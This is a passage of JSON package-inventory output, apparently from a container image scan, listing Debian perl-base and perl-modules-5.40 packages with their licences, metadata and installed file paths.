"/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Geor.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Glag.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Gong.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Gonm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Gran.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Grek.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Gujr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Guru.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Han.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hang.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hebr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hira.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hmng.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hmnp.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Kana.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Khar.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Khmr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Khoj.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Knda.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Kthi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Lana.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Lao.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Latn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Limb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Lina.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Linb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Mlym.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Mong.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Mult.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Mymr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Nand.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Nko.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Orya.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Phlp.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Rohg.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Shrd.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Sind.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Sinh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Syrc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Tagb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Takr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Talu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Taml.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Tang.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Telu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Thaa.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Tibt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Tirh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Vith.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Xsux.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Yezi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Yi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Zinh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Zyyy.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Zzzz.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Term/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/UIdeo/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Upper/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/VS/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Vo/R.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Vo/Tr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Vo/Tu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Vo/U.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/EX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/Extend.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/FO.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/HL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/KA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/LE.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/MB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/ML.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/MN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/NU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/WSegSpac.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/XX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/XIDC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/XIDS/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/utf8.pm", "/usr/lib/x86_64-linux-gnu/perl-base/vars.pm", "/usr/lib/x86_64-linux-gnu/perl-base/warnings.pm", "/usr/lib/x86_64-linux-gnu/perl-base/warnings/register.pm", "/usr/share/doc/perl-base/changelog.Debian.gz", "/usr/share/doc/perl-base/changelog.gz", "/usr/share/doc/perl-base/copyright", "/usr/share/doc/perl/AUTHORS.gz", "/usr/share/doc/perl/Documentation", "/usr/share/lintian/overrides/perl-base", "/usr/share/man/man1/perl.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "perl-modules-5.40@5.40.1-6", "Name": "perl-modules-5.40", "Identifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.6", "UID": "9bd83fa4dd131a41" }, "Version": "5.40.1", "Release": "6", "Arch": "all", "SrcName": "perl", "SrcVersion": "5.40.1", "SrcRelease": "6", "Licenses": [ "GPL-1.0-or-later", "Artistic-2.0", "MIT", "REGCOMP", "GPL-2.0-with-bison-exception+", "Unicode", "BZIP", "Zlib", "GPL-2.0-or-later", "FSFAP", "BSD-3-clause-with-weird-numbering", "CC0-1.0", "TEXT-TABS", "BSD-4-clause-POWERDOG", "BSD-3-clause-GENERIC", "BSD-3-Clause", "SDBM-PUBLIC-DOMAIN", "DONT-CHANGE-THE-GPL", "Artistic-dist", "LGPL-2.1-only", "GPL-1.0-only", "GPL-2.0-only", "Artistic-2" ], "Maintainer": "Niko Tyni \u003cntyni@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "perl-base@5.40.1-6" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/doc/perl-modules-5.40/README.Debian", "/usr/share/doc/perl-modules-5.40/changelog.Debian.gz", "/usr/share/doc/perl-modules-5.40/changelog.gz", "/usr/share/doc/perl-modules-5.40/copyright", "/usr/share/perl/5.40.1/AnyDBM_File.pm", "/usr/share/perl/5.40.1/App/Cpan.pm", "/usr/share/perl/5.40.1/App/Prove.pm", "/usr/share/perl/5.40.1/App/Prove/State.pm", "/usr/share/perl/5.40.1/App/Prove/State/Result.pm", "/usr/share/perl/5.40.1/App/Prove/State/Result/Test.pm", "/usr/share/perl/5.40.1/Archive/Tar.pm", "/usr/share/perl/5.40.1/Archive/Tar/Constant.pm", "/usr/share/perl/5.40.1/Archive/Tar/File.pm", "/usr/share/perl/5.40.1/Attribute/Handlers.pm", "/usr/share/perl/5.40.1/AutoLoader.pm", "/usr/share/perl/5.40.1/AutoSplit.pm", "/usr/share/perl/5.40.1/B/Deparse.pm", "/usr/share/perl/5.40.1/B/Op_private.pm", "/usr/share/perl/5.40.1/Benchmark.pm", "/usr/share/perl/5.40.1/CORE.pod", "/usr/share/perl/5.40.1/CPAN.pm", "/usr/share/perl/5.40.1/CPAN/API/HOWTO.pod", "/usr/share/perl/5.40.1/CPAN/Author.pm", "/usr/share/perl/5.40.1/CPAN/Bundle.pm", "/usr/share/perl/5.40.1/CPAN/CacheMgr.pm", "/usr/share/perl/5.40.1/CPAN/Complete.pm", "/usr/share/perl/5.40.1/CPAN/Debug.pm", "/usr/share/perl/5.40.1/CPAN/DeferredCode.pm", "/usr/share/perl/5.40.1/CPAN/Distribution.pm", "/usr/share/perl/5.40.1/CPAN/Distroprefs.pm", "/usr/share/perl/5.40.1/CPAN/Distrostatus.pm", "/usr/share/perl/5.40.1/CPAN/Exception/RecursiveDependency.pm", "/usr/share/perl/5.40.1/CPAN/Exception/blocked_urllist.pm", "/usr/share/perl/5.40.1/CPAN/Exception/yaml_not_installed.pm", "/usr/share/perl/5.40.1/CPAN/Exception/yaml_process_error.pm", "/usr/share/perl/5.40.1/CPAN/FTP.pm", "/usr/share/perl/5.40.1/CPAN/FTP/netrc.pm", "/usr/share/perl/5.40.1/CPAN/FirstTime.pm", "/usr/share/perl/5.40.1/CPAN/HTTP/Client.pm", "/usr/share/perl/5.40.1/CPAN/HTTP/Credentials.pm", "/usr/share/perl/5.40.1/CPAN/HandleConfig.pm", "/usr/share/perl/5.40.1/CPAN/Index.pm", "/usr/share/perl/5.40.1/CPAN/InfoObj.pm", "/usr/share/perl/5.40.1/CPAN/Kwalify.pm", "/usr/share/perl/5.40.1/CPAN/Kwalify/distroprefs.dd", "/usr/share/perl/5.40.1/CPAN/Kwalify/distroprefs.yml", "/usr/share/perl/5.40.1/CPAN/LWP/UserAgent.pm", "/usr/share/perl/5.40.1/CPAN/Meta.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Converter.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Feature.pm", "/usr/share/perl/5.40.1/CPAN/Meta/History.pm", "/usr/share/perl/5.40.1/CPAN/Meta/History/Meta_1_0.pod", "/usr/share/perl/5.40.1/CPAN/Meta/History/Meta_1_1.pod", "/usr/share/perl/5.40.1/CPAN/Meta/History/Meta_1_2.pod", "/usr/share/perl/5.40.1/CPAN/Meta/History/Meta_1_3.pod", "/usr/share/perl/5.40.1/CPAN/Meta/History/Meta_1_4.pod", "/usr/share/perl/5.40.1/CPAN/Meta/Merge.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Prereqs.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Requirements.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Requirements/Range.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Spec.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Validator.pm", "/usr/share/perl/5.40.1/CPAN/Meta/YAML.pm", "/usr/share/perl/5.40.1/CPAN/Mirrors.pm", "/usr/share/perl/5.40.1/CPAN/Module.pm", "/usr/share/perl/5.40.1/CPAN/Nox.pm", "/usr/share/perl/5.40.1/CPAN/Plugin.pm", "/usr/share/perl/5.40.1/CPAN/Plugin/Specfile.pm", "/usr/share/perl/5.40.1/CPAN/Prompt.pm", "/usr/share/perl/5.40.1/CPAN/Queue.pm", "/usr/share/perl/5.40.1/CPAN/Shell.pm", "/usr/share/perl/5.40.1/CPAN/Tarzip.pm", "/usr/share/perl/5.40.1/CPAN/URL.pm", "/usr/share/perl/5.40.1/CPAN/Version.pm", "/usr/share/perl/5.40.1/Carp.pm", "/usr/share/perl/5.40.1/Carp/Heavy.pm", "/usr/share/perl/5.40.1/Class/Struct.pm", "/usr/share/perl/5.40.1/Compress/Zlib.pm", "/usr/share/perl/5.40.1/Config/Extensions.pm", "/usr/share/perl/5.40.1/Config/Perl/V.pm", "/usr/share/perl/5.40.1/DB.pm", "/usr/share/perl/5.40.1/DBM_Filter.pm", "/usr/share/perl/5.40.1/DBM_Filter/compress.pm", "/usr/share/perl/5.40.1/DBM_Filter/encode.pm", "/usr/share/perl/5.40.1/DBM_Filter/int32.pm", "/usr/share/perl/5.40.1/DBM_Filter/null.pm", "/usr/share/perl/5.40.1/DBM_Filter/utf8.pm", "/usr/share/perl/5.40.1/Devel/SelfStubber.pm", "/usr/share/perl/5.40.1/Digest.pm", "/usr/share/perl/5.40.1/Digest/base.pm", "/usr/share/perl/5.40.1/Digest/file.pm", "/usr/share/perl/5.40.1/DirHandle.pm", "/usr/share/perl/5.40.1/Dumpvalue.pm", "/usr/share/perl/5.40.1/Encode/Changes.e2x", "/usr/share/perl/5.40.1/Encode/ConfigLocal_PM.e2x", "/usr/share/perl/5.40.1/Encode/Makefile_PL.e2x", "/usr/share/perl/5.40.1/Encode/PerlIO.pod", "/usr/share/perl/5.40.1/Encode/README.e2x", "/usr/share/perl/5.40.1/Encode/Supported.pod", "/usr/share/perl/5.40.1/Encode/_PM.e2x", "/usr/share/perl/5.40.1/Encode/_T.e2x", "/usr/share/perl/5.40.1/Encode/encode.h", "/usr/share/perl/5.40.1/English.pm", "/usr/share/perl/5.40.1/Env.pm", "/usr/share/perl/5.40.1/Exporter.pm", "/usr/share/perl/5.40.1/Exporter/Heavy.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Base.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/Unix.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/VMS.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/Windows.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/Windows/BCC.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/Windows/GCC.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/Windows/MSVC.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/aix.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/android.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/cygwin.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/darwin.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/dec_osf.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/os2.pm", "/usr/share/perl/5.40.1/ExtUtils/Command.pm", "/usr/share/perl/5.40.1/ExtUtils/Command/MM.pm", "/usr/share/perl/5.40.1/ExtUtils/Constant.pm", "/usr/share/perl/5.40.1/ExtUtils/Constant/Base.pm", "/usr/share/perl/5.40.1/ExtUtils/Constant/ProxySubs.pm", "/usr/share/perl/5.40.1/ExtUtils/Constant/Utils.pm", "/usr/share/perl/5.40.1/ExtUtils/Constant/XS.pm", "/usr/share/perl/5.40.1/ExtUtils/Embed.pm", "/usr/share/perl/5.40.1/ExtUtils/Install.pm", "/usr/share/perl/5.40.1/ExtUtils/Installed.pm", "/usr/share/perl/5.40.1/ExtUtils/Liblist.pm", "/usr/share/perl/5.40.1/ExtUtils/Liblist/Kid.pm", "/usr/share/perl/5.40.1/ExtUtils/MANIFEST.SKIP", "/usr/share/perl/5.40.1/ExtUtils/MM.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_AIX.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_Any.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_BeOS.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_Cygwin.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_DOS.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_Darwin.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_MacOS.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_NW5.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_OS2.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_OS390.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_QNX.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_UWIN.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_Unix.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_VMS.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_VOS.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_Win32.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_Win95.pm", "/usr/share/perl/5.40.1/ExtUtils/MY.pm", "/usr/share/perl/5.40.1/ExtUtils/MakeMaker.pm", "/usr/share/perl/5.40.1/ExtUtils/MakeMaker/Config.pm", "/usr/share/perl/5.40.1/ExtUtils/MakeMaker/FAQ.pod", "/usr/share/perl/5.40.1/ExtUtils/MakeMaker/Locale.pm", "/usr/share/perl/5.40.1/ExtUtils/MakeMaker/Tutorial.pod", "/usr/share/perl/5.40.1/ExtUtils/MakeMaker/version.pm", "/usr/share/perl/5.40.1/ExtUtils/Manifest.pm", "/usr/share/perl/5.40.1/ExtUtils/Miniperl.pm", "/usr/share/perl/5.40.1/ExtUtils/Mkbootstrap.pm", "/usr/share/perl/5.40.1/ExtUtils/Mksymlists.pm", "/usr/share/perl/5.40.1/ExtUtils/PL2Bat.pm", "/usr/share/perl/5.40.1/ExtUtils/Packlist.pm", "/usr/share/perl/5.40.1/ExtUtils/ParseXS.pm", "/usr/share/perl/5.40.1/ExtUtils/ParseXS.pod", "/usr/share/perl/5.40.1/ExtUtils/ParseXS/Constants.pm", "/usr/share/perl/5.40.1/ExtUtils/ParseXS/CountLines.pm", "/usr/share/perl/5.40.1/ExtUtils/ParseXS/Eval.pm", "/usr/share/perl/5.40.1/ExtUtils/ParseXS/Utilities.pm", "/usr/share/perl/5.40.1/ExtUtils/Typemaps.pm", "/usr/share/perl/5.40.1/ExtUtils/Typemaps/Cmd.pm", "/usr/share/perl/5.40.1/ExtUtils/Typemaps/InputMap.pm", "/usr/share/perl/5.40.1/ExtUtils/Typemaps/OutputMap.pm", "/usr/share/perl/5.40.1/ExtUtils/Typemaps/Type.pm", "/usr/share/perl/5.40.1/ExtUtils/testlib.pm", "/usr/share/perl/5.40.1/ExtUtils/typemap", "/usr/share/perl/5.40.1/ExtUtils/xsubpp", "/usr/share/perl/5.40.1/Fatal.pm", "/usr/share/perl/5.40.1/File/Basename.pm", "/usr/share/perl/5.40.1/File/Compare.pm", "/usr/share/perl/5.40.1/File/Copy.pm", "/usr/share/perl/5.40.1/File/Fetch.pm", "/usr/share/perl/5.40.1/File/Find.pm", "/usr/share/perl/5.40.1/File/GlobMapper.pm", "/usr/share/perl/5.40.1/File/Path.pm", "/usr/share/perl/5.40.1/File/Temp.pm", "/usr/share/perl/5.40.1/File/stat.pm", "/usr/share/perl/5.40.1/FileCache.pm", "/usr/share/perl/5.40.1/FileHandle.pm", "/usr/share/perl/5.40.1/Filter/Simple.pm", "/usr/share/perl/5.40.1/FindBin.pm", "/usr/share/perl/5.40.1/Getopt/Long.pm", "/usr/share/perl/5.40.1/Getopt/Long/Parser.pm", "/usr/share/perl/5.40.1/Getopt/Std.pm", "/usr/share/perl/5.40.1/HTTP/Tiny.pm", "/usr/share/perl/5.40.1/I18N/Collate.pm", "/usr/share/perl/5.40.1/I18N/LangTags.pm", "/usr/share/perl/5.40.1/I18N/LangTags/Detect.pm", "/usr/share/perl/5.40.1/I18N/LangTags/List.pm", "/usr/share/perl/5.40.1/IO/Compress/Adapter/Bzip2.pm", "/usr/share/perl/5.40.1/IO/Compress/Adapter/Deflate.pm", "/usr/share/perl/5.40.1/IO/Compress/Adapter/Identity.pm", "/usr/share/perl/5.40.1/IO/Compress/Base.pm", "/usr/share/perl/5.40.1/IO/Compress/Base/Common.pm", "/usr/share/perl/5.40.1/IO/Compress/Bzip2.pm", "/usr/share/perl/5.40.1/IO/Compress/Deflate.pm", "/usr/share/perl/5.40.1/IO/Compress/FAQ.pod", "/usr/share/perl/5.40.1/IO/Compress/Gzip.pm", "/usr/share/perl/5.40.1/IO/Compress/Gzip/Constants.pm", "/usr/share/perl/5.40.1/IO/Compress/RawDeflate.pm", "/usr/share/perl/5.40.1/IO/Compress/Zip.pm", "/usr/share/perl/5.40.1/IO/Compress/Zip/Constants.pm", "/usr/share/perl/5.40.1/IO/Compress/Zlib/Constants.pm", "/usr/share/perl/5.40.1/IO/Compress/Zlib/Extra.pm", "/usr/share/perl/5.40.1/IO/Socket/IP.pm", "/usr/share/perl/5.40.1/IO/Uncompress/Adapter/Bunzip2.pm", "/usr/share/perl/5.40.1/IO/Uncompress/Adapter/Identity.pm", "/usr/share/perl/5.40.1/IO/Uncompress/Adapter/Inflate.pm", "/usr/share/perl/5.40.1/IO/Uncompress/AnyInflate.pm", "/usr/share/perl/5.40.1/IO/Uncompress/AnyUncompress.pm", "/usr/share/perl/5.40.1/IO/Uncompress/Base.pm", "/usr/share/perl/5.40.1/IO/Uncompress/Bunzip2.pm", "/usr/share/perl/5.40.1/IO/Uncompress/Gunzip.pm", "/usr/share/perl/5.40.1/IO/Uncompress/Inflate.pm", "/usr/share/perl/5.40.1/IO/Uncompress/RawInflate.pm", "/usr/share/perl/5.40.1/IO/Uncompress/Unzip.pm", "/usr/share/perl/5.40.1/IO/Zlib.pm", "/usr/share/perl/5.40.1/IPC/Cmd.pm", "/usr/share/perl/5.40.1/IPC/Open2.pm", "/usr/share/perl/5.40.1/IPC/Open3.pm", "/usr/share/perl/5.40.1/Internals.pod", "/usr/share/perl/5.40.1/JSON/PP.pm", "/usr/share/perl/5.40.1/JSON/PP/Boolean.pm", "/usr/share/perl/5.40.1/Locale/Maketext.pm", "/usr/share/perl/5.40.1/Locale/Maketext.pod", "/usr/share/perl/5.40.1/Locale/Maketext/Cookbook.pod", "/usr/share/perl/5.40.1/Locale/Maketext/Guts.pm", "/usr/share/perl/5.40.1/Locale/Maketext/GutsLoader.pm", "/usr/share/perl/5.40.1/Locale/Maketext/Simple.pm", "/usr/share/perl/5.40.1/Locale/Maketext/TPJ13.pod", "/usr/share/perl/5.40.1/Math/BigFloat.pm", "/usr/share/perl/5.40.1/Math/BigFloat/Trace.pm", "/usr/share/perl/5.40.1/Math/BigInt.pm", "/usr/share/perl/5.40.1/Math/BigInt/Calc.pm", "/usr/share/perl/5.40.1/Math/BigInt/Lib.pm", "/usr/share/perl/5.40.1/Math/BigInt/Trace.pm", "/usr/share/perl/5.40.1/Math/BigRat.pm", "/usr/share/perl/5.40.1/Math/BigRat/Trace.pm", "/usr/share/perl/5.40.1/Math/Complex.pm", "/usr/share/perl/5.40.1/Math/Trig.pm", "/usr/share/perl/5.40.1/Memoize.pm", "/usr/share/perl/5.40.1/Memoize/AnyDBM_File.pm", "/usr/share/perl/5.40.1/Memoize/Expire.pm", "/usr/share/perl/5.40.1/Memoize/NDBM_File.pm", "/usr/share/perl/5.40.1/Memoize/SDBM_File.pm", "/usr/share/perl/5.40.1/Memoize/Storable.pm", "/usr/share/perl/5.40.1/Module/CoreList.pm", "/usr/share/perl/5.40.1/Module/CoreList.pod", "/usr/share/perl/5.40.1/Module/CoreList/Utils.pm", "/usr/share/perl/5.40.1/Module/Load.pm", "/usr/share/perl/5.40.1/Module/Load/Conditional.pm", "/usr/share/perl/5.40.1/Module/Loaded.pm", "/usr/share/perl/5.40.1/Module/Metadata.pm", "/usr/share/perl/5.40.1/NEXT.pm", "/usr/share/perl/5.40.1/Net/Cmd.pm", "/usr/share/perl/5.40.1/Net/Config.pm", "/usr/share/perl/5.40.1/Net/Domain.pm", "/usr/share/perl/5.40.1/Net/FTP.pm", "/usr/share/perl/5.40.1/Net/FTP/A.pm", "/usr/share/perl/5.40.1/Net/FTP/E.pm", "/usr/share/perl/5.40.1/Net/FTP/I.pm", "/usr/share/perl/5.40.1/Net/FTP/L.pm", "/usr/share/perl/5.40.1/Net/FTP/dataconn.pm", "/usr/share/perl/5.40.1/Net/NNTP.pm", "/usr/share/perl/5.40.1/Net/Netrc.pm", "/usr/share/perl/5.40.1/Net/POP3.pm", "/usr/share/perl/5.40.1/Net/Ping.pm", "/usr/share/perl/5.40.1/Net/SMTP.pm", "/usr/share/perl/5.40.1/Net/Time.pm", "/usr/share/perl/5.40.1/Net/hostent.pm", "/usr/share/perl/5.40.1/Net/libnetFAQ.pod", "/usr/share/perl/5.40.1/Net/netent.pm", "/usr/share/perl/5.40.1/Net/protoent.pm", "/usr/share/perl/5.40.1/Net/servent.pm", "/usr/share/perl/5.40.1/Params/Check.pm", "/usr/share/perl/5.40.1/Parse/CPAN/Meta.pm", "/usr/share/perl/5.40.1/Perl/OSType.pm", "/usr/share/perl/5.40.1/PerlIO.pm", "/usr/share/perl/5.40.1/PerlIO/scalar.pm", "/usr/share/perl/5.40.1/PerlIO/via/QuotedPrint.pm", "/usr/share/perl/5.40.1/Pod/Checker.pm", "/usr/share/perl/5.40.1/Pod/Escapes.pm", "/usr/share/perl/5.40.1/Pod/Functions.pm", "/usr/share/perl/5.40.1/Pod/Html.pm", "/usr/share/perl/5.40.1/Pod/Html/Util.pm", "/usr/share/perl/5.40.1/Pod/Man.pm", "/usr/share/perl/5.40.1/Pod/ParseLink.pm", "/usr/share/perl/5.40.1/Pod/Perldoc.pm", "/usr/share/perl/5.40.1/Pod/Perldoc/BaseTo.pm", "/usr/share/perl/5.40.1/Pod/Perldoc/GetOptsOO.pm", "/usr/share/perl/5.40.1/Pod/Perldoc/ToANSI.pm", "/usr/share/perl/5.40.1/Pod/Perldoc/ToChecker.pm", "/usr/share/perl/5.40.1/Pod/Perldoc/ToMan.pm", "/usr/share/perl/5.40.1/Pod/Perldoc/ToNroff.pm", "/usr/share/perl/5.40.1/Pod/Perldoc/ToPod.pm", "/usr/share/perl/5.40.1/Pod/Perldoc/ToRtf.pm", "/usr/share/perl/5.40.1/Pod/Perldoc/ToTerm.pm", "/usr/share/perl/5.40.1/Pod/Perldoc/ToText.pm", "/usr/share/perl/5.40.1/Pod/Perldoc/ToTk.pm", "/usr/share/perl/5.40.1/Pod/Perldoc/ToXml.pm", "/usr/share/perl/5.40.1/Pod/Simple.pm", "/usr/share/perl/5.40.1/Pod/Simple.pod", "/usr/share/perl/5.40.1/Pod/Simple/BlackBox.pm", "/usr/share/perl/5.40.1/Pod/Simple/Checker.pm", "/usr/share/perl/5.40.1/Pod/Simple/Debug.pm", "/usr/share/perl/5.40.1/Pod/Simple/DumpAsText.pm", "/usr/share/perl/5.40.1/Pod/Simple/DumpAsXML.pm", "/usr/share/perl/5.40.1/Pod/Simple/HTML.pm", "/usr/share/perl/5.40.1/Pod/Simple/HTMLBatch.pm", "/usr/share/perl/5.40.1/Pod/Simple/HTMLLegacy.pm", "/usr/share/perl/5.40.1/Pod/Simple/JustPod.pm", "/usr/share/perl/5.40.1/Pod/Simple/LinkSection.pm", "/usr/share/perl/5.40.1/Pod/Simple/Methody.pm", "/usr/share/perl/5.40.1/Pod/Simple/Progress.pm", "/usr/share/perl/5.40.1/Pod/Simple/PullParser.pm", "/usr/share/perl/5.40.1/Pod/Simple/PullParserEndToken.pm", "/usr/share/perl/5.40.1/Pod/Simple/PullParserStartToken.pm", "/usr/share/perl/5.40.1/Pod/Simple/PullParserTextToken.pm", "/usr/share/perl/5.40.1/Pod/Simple/PullParserToken.pm", "/usr/share/perl/5.40.1/Pod/Simple/RTF.pm", "/usr/share/perl/5.40.1/Pod/Simple/Search.pm", "/usr/share/perl/5.40.1/Pod/Simple/SimpleTree.pm", "/usr/share/perl/5.40.1/Pod/Simple/Subclassing.pod", "/usr/share/perl/5.40.1/Pod/Simple/Text.pm", "/usr/share/perl/5.40.1/Pod/Simple/TextContent.pm", "/usr/share/perl/5.40.1/Pod/Simple/TiedOutFH.pm", "/usr/share/perl/5.40.1/Pod/Simple/Transcode.pm", "/usr/share/perl/5.40.1/Pod/Simple/TranscodeDumb.pm", "/usr/share/perl/5.40.1/Pod/Simple/TranscodeSmart.pm", "/usr/share/perl/5.40.1/Pod/Simple/XHTML.pm", "/usr/share/perl/5.40.1/Pod/Simple/XMLOutStream.pm", "/usr/share/perl/5.40.1/Pod/Text.pm", "/usr/share/perl/5.40.1/Pod/Text/Color.pm", "/usr/share/perl/5.40.1/Pod/Text/Overstrike.pm", "/usr/share/perl/5.40.1/Pod/Text/Termcap.pm", "/usr/share/perl/5.40.1/Pod/Usage.pm", "/usr/share/perl/5.40.1/Safe.pm", "/usr/share/perl/5.40.1/Search/Dict.pm", "/usr/share/perl/5.40.1/SelectSaver.pm", 